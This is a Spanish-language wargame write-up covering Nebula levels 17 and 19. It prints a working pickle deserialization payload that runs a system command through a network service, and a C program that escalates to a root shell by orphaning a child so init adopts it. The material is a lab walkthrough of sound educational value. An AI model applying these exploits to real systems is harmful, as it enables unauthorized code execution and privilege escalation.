Nivel 17:
Tenemos un pequeño programa en python que acepta una entrada y la procesa.
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
He de admitir que a priori no tenía ni idea de por dónde coger este programa, así que me fui a mirar la documentación de algunas funciones de python que utiliza éste programa. Al final, resultó que la función pickle() no es segura, y que durante el proceso de “unpickling” se puede producir la ejecución arbitraria de código.
Me hice un pequeño script en python que me permitía ver qué salida se generaba cuando se usaba pickle sobre determinados objetos (cadenas, funciones, funciones anidadas…) para poder construir una llamada que desencadenara el problema de seguridad antes mencionado:
#!/usr/bin/python import time import os import pickle f = open("/dev/stdout","w") pickle.dump(time.localtime,f) f.close()
Con esto, y un poco más de investigación sobre la función REDUCE de pickle, pude llegar a lo siguiente:
level17@nebula:~$ cat /tmp/send cos system (S'getflag > /tmp/flag17' tR .
Ahora, sólo queda enviarlo al servicio que escucha en el puerto 10007, con netcat por ejemplo, ya que está instalado en la VM.
Nivel 19:
El siguiente programa ejecuta una shell si “root lo ha ejecutado”:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
El problema es que esa comprobación de “si root nos ha ejecutado” está un tanto mal hecha, ya que lo que realmente está comprobando es si su proceso padre se está ejecutando como el usuario root. En esencia, esto quiere decir que si conseguimos que el padre de este programa sea cualquier proceso que ejecute como root, obtendremos la shell de root. Cosa que no es demasiado difícil de conseguir si conocemos cómo funionan los procesos en Linux.
Si un proceso que tiene hijos, muere antes de la finalización de éstos, deja a los procesos hijos “huérfanos”, lo cual supone un problema, ya que no tienen a quien comunicar su estado de finalización, ni las señales que no capturan, entre otras cosas. Para ésto, existe en Linux el proceso init. Init siempre se ejecuta al iniciar el sistema, como primer proceso del mismo, con el número de proceso 1. Además, se encargará de “acoger”, y convertirse por tanto en el padre, de todos aquellos procesos huérfanos del sistema. Ah, e init se ejecuta como root 😉
Por tanto, si ejecutamos el programa víctima, y después morimos, el programa será heredado por init y podremos obtener la shell. Bueno, podremos ejecutar comandos en esa shell de root, ya que obtenerla será difícil puesto que habremos perdido el control del hijo al morirnos. El siguiente programa en C hace esto mismo:
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <time.h> #include <sys/types.h> int main(void){ pid_t pid; char* args[]= {"/bin/sh", "-c", "getflag > /tmp/flag19", NULL}; pid = fork(); if (pid==0){ //hijo, a ejecutar el programa objetivo nice(19); execve("/home/flag19/flag19",args, NULL); }else if (pid <0){ printf("Ups\n"); }else{ //padre, debe morir exit(1); } return 0; }
Cómo veis, se ejecuta flag19 pasándole los argumentos que luego él transmitirá a la shell mediante la llamada execve.
Ya sólo nos queda el nivel 18, al que he decidido dedicarle una entrada a parte para no alargar ésta más de la cuenta.
¡Salud!
Responder